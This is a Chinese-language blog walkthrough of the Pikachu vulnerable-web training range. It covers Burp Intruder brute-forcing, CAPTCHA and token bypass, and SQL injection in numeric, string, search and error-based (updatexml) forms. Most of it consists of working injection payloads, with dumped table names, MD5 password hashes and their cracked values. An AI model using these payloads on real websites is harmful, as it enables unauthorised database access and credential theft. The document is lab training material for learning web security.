pikachu靶场
pikachu靶场
基于表单暴力破解
看一下界面,有两个输入框,使用暴力破解使用Cluster bomb
前提须知是
Sinper 对$$符号标记的数据进行逐个替换
Battering ram 对$$符号标记的数据同时替换
Pitchfork 多参数,使用不同字典
Cluster bomb 多参数做笛卡尔乘积模式爆破,多个位置,交叉组合

bp抓包,发送到intrude,修改标记内容

设置payloads,set 1 2 type设置为simple load字典 进行 start attack, 将length大小排序就出来了


验证码绕过(on server)
比上面多了一个验证码,用bp抓包看下


尝试了几次账号密码都没提示验证码的问题,说明验证码可以一直用,那就和上面思路一样暴力破解

验证码绕过(on client)
尝试输入,发现会有弹窗,那就是前端,查看前端关于验证码的代码,createCode()

老样子的配置进行,依旧成功,前端验证bp都能无视

token防爆破
一看没有验证码了,token搜索下含义,令牌,验证,防止csrf攻击,

尝试下bp显示csrf token error,每次token都会变

再尝试删除token,response中什么返回结果都没有,发现前端代码hidden,token,value的代码尝试是下一次的token

攻击模式选择Pitchfork,因为Cluster bomb是三组payload排列组合,所以使用一对一的
第三个payload type设置为Recursive grep

先在这个界面选择打勾然后add
双击下图value的内容就自动填写正则表达式了


还需要将线程设置为1,因为每次都要用上次response中返回的token,多线程就会乱

最后一步开跑就结束了

数字型注入
看一下源码,没有任何处理,那直接bp抓包修改

id=1 order by 2#&submit=%E6%9F%A5%E8%AF%A2
发现order by 3 报错,order by2 正常,字段数就是2

正常走流程爆库
id=1 union select 1,database()#
pikachu

爆表
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
httpinfo,member,message,users,xssblind

爆字段
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()#
id,userid,ipaddress,useragent,httpaccept,remoteport,id,username,pw,sex,phonenum,address,email,id,content,time,id,username,password,level,id,time,content,name

下面就是字段里的数据了
1 union select username,password from users#
e10adc3949ba59abbe56e057f20f883e
670b14728ad9902aecba32e22fa4f6bd
e99a18c428cb38d5f260853678922e03
像是md5解码,md5在线解密下
123456
000000
abc123

字符型注入
看一下源码,需要考虑闭合是单引号

输入万能注入,有变化证明语句正确
1' or 1=1#

判断字段数,道理同数字型注入
1' order by 2#

爆库
1' union select 1,database()#
pikachu

爆表
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
httpinfo,member,message,users,xssblind

爆字段
1' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password

爆值
1' union select username,password from users#
your uid:admin
your email is: e10adc3949ba59abbe56e057f20f883e
your uid:pikachu
your email is: 670b14728ad9902aecba32e22fa4f6bd
your uid:test
your email is: e99a18c428cb38d5f260853678922e03
同理用md5解密
XX型注入
查看源码,单引号和括号

尝试一下
1') or 1=1#
成功了,按照流程继续

爆库
1') union select 1,database()#
pikachu

爆表
1') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
httpinfo,member,message,users,xssblind

爆字段
1') union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password

爆值
1') union select username,password from users#
your uid:admin
your email is: e10adc3949ba59abbe56e057f20f883e
your uid:pikachu
your email is: 670b14728ad9902aecba32e22fa4f6bd
your uid:test
your email is: e99a18c428cb38d5f260853678922e03
搜索型注入
查看源码,单引号和百分号

1%' or 1=1#
成功了,那还是老流程

判断字段数,这个是到4才显示错误
1%' order by 4#
字段数就是3了

爆库
1%' union select 1,2,database()#
pikachu

爆表
1%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
httpinfo,member,message,users,xssblind

爆字段
1%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password

爆值
1%' union select username,password,3 from users#
username:admin
uid:e10adc3949ba59abbe56e057f20f883e
email is: 3
username:pikachu
uid:670b14728ad9902aecba32e22fa4f6bd
email is: 3
username:test
uid:e99a18c428cb38d5f260853678922e03
email is: 3

"insert/update"注入
查看源码,会对字符进行转义,联合注入就不能用了,进行报错注入

bp在注册界面抓包,爆库
1' or updatexml(1,concat(0x7e,database()),1) or'

爆表
1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) or'

爆字段
1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1) or'

爆值
1' or updatexml(1,concat(0x7e,(select group_concat(username,'@',password)from pikachu.users)),1) or'

"delete"注入
查看源代码,

File inclusion(local)
先查看源码,无限制,

pikachu靶场的更多相关文章
- pikachu靶场-XSS
.Tips: 一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS 由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器): 通过变化不同的scr ...
- 利用xampp集成环境搭建pikachu靶场及部分问题解决
xampp的环境部署 1.本地服务器的搭建 首先要到官网下载xampp https://www.apachefriends.org/zh_cn/index.html 有各个不同的系统版本,这里我们选择 ...
- Pikachu靶场SSRF学习
下载Pikachu靶场:https://github.com/zhuifengshaonianhanlu/pikachu Windows用phpstudy也行,记得要改config.inc文件 打开S ...
- Pikachu靶场SQL注入刷题记录
数字型注入 0x01 burp抓包,发送至repeater 后面加and 1=1,and 1=2 可判断存在注入 0x02 通过order by判断字段数,order by 2 和order by 3 ...
- pikachu靶场-CSRF
xss和csrf区别: CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏. PS: 由于之前将php5升级到php7,导致靶场环境出现以下问题 ...
- Pikachu靶场通关之XSS(跨站脚本)
一.XSS(跨站脚本)概述 Cross-Site Scripting 简称为"CSS",为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS.一般XSS可以 ...
- pikachu靶场-暴力破解(验证码、token)
甲.基于表单的破解 较为简单,直接BurpSuite爆破. 乙.验证码绕过(on server) 打开题目,比第一题多了一个验证码验证,很多初学者遇到验证码就会感觉不知所措.其实这题也较为简单,首先正 ...
- pikachu靶场XSS详解
一.反射型XSS 1.get型 源码前后区别 前 <form method="get"> <input class="xssr_in" typ ...
- 关于暴力破解的一些学习笔记(pikachu)
这几天的笔记都懒得发博客都写在本地了,随缘搬上来 什么是暴力破解 就是在攻击者不知道目标账号密码情况下的,对目标系统的常识性登陆 一般会采用一些工具+特定的字典 来实现高效的连续的尝试性登陆 一个有效 ...
- 从零开始的白帽子学习--stage1--常见漏洞类型介绍--part3--不安全的文件上传
Q:什么是文件上传漏洞 A:文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像.上传附件等等.当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型.后缀名.大小等 ...
随机推荐
- (Good topic)卡牌分组(3.27leetcode每日打卡)
给定一副牌,每张牌上都写着一个整数. 此时,你需要选定一个数字 X,使我们可以将整副牌按下述规则分成 1 组或更多组: 每组都有 X 张牌. 组内所有的牌上都写着相同的整数. 仅当你可选的 X &g ...
- 文心一言 VS 讯飞星火 VS chatgpt (149)-- 算法导论12.2 4题
五.用go语言,证明:如果一棵二叉搜索树中的一个结点有两个孩子,那么它的后继没有左孩子,它的前驱没有右孩子. 灵捷3.5 . 文心一言: 为了证明这个性质,我们首先需要明确二叉搜索树(BST)的定义和 ...
- 芯片SDC约束 -复制保存
https://www.cnblogs.com/pcc-uvm/p/16996456.html?share_token=9651df97-e94c-4653-bf71-0a0fd6ca415e& ...
- skywalking自定义插件开发
skywalking是使用字节码操作技术和AOP概念拦截Java类方法的方式来追踪链路的,由于skywalking已经打包了字节码操作技术和链路追踪的上下文传播,因此只需定义拦截点即可. 这里以sky ...
- 编写.NET的Dockerfile文件构建镜像
创建一个WebApi项目,并且创建一个Dockerfile空文件,添加以下代码,7.0代表的你项目使用的SDK的版本,构建的时候也需要选择好指定的镜像tag FROM mcr.microsoft.co ...
- Python——第五章:time模块、datetime模块
time模块 在平常的代码中,我们常常需要与时间打交道.在Python中,与时间处理有关的模块就包括:time,datetime,calendar(很少用,不讲),下面分别来介绍. 我们写程序时对时间 ...
- Supershell防溯源反制配置
简介 项目地址:https://github.com/tdragon6/Supershell Supershell是一个集成了reverse_ssh服务的WEB管理平台,使用docker一键部署(快速 ...
- POJ 3537 Crosses and Crosses 博弈论 SG函数 记忆化搜索
原题链接 题意 两人在一个长为n * 1的棋盘上下棋,两人持相同棋子,如果某人下完之后,棋盘上有三个棋子相连,则此人获胜.给出n,求是否先手必胜. 思路 一开始分析成了最少取3个,最多取5个的巴什博弈 ...
- Linux系统快速入门
LINUX基础知识 I.Linux概述 linux是啥? 一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX和Unix的多用户.多任务.支持多线程和多CPU的操作系统.它能运行主要的Un ...
- C++篇:第十二章_文件及IO_知识点大全
C++篇为本人学C++时所做笔记(特别是疑难杂点),全是硬货,虽然看着枯燥但会让你收益颇丰,可用作学习C++的一大利器 十二.文件及IO 当在输入输出流中使用控制符进行格式控制时,需在程序中加入头文件 ...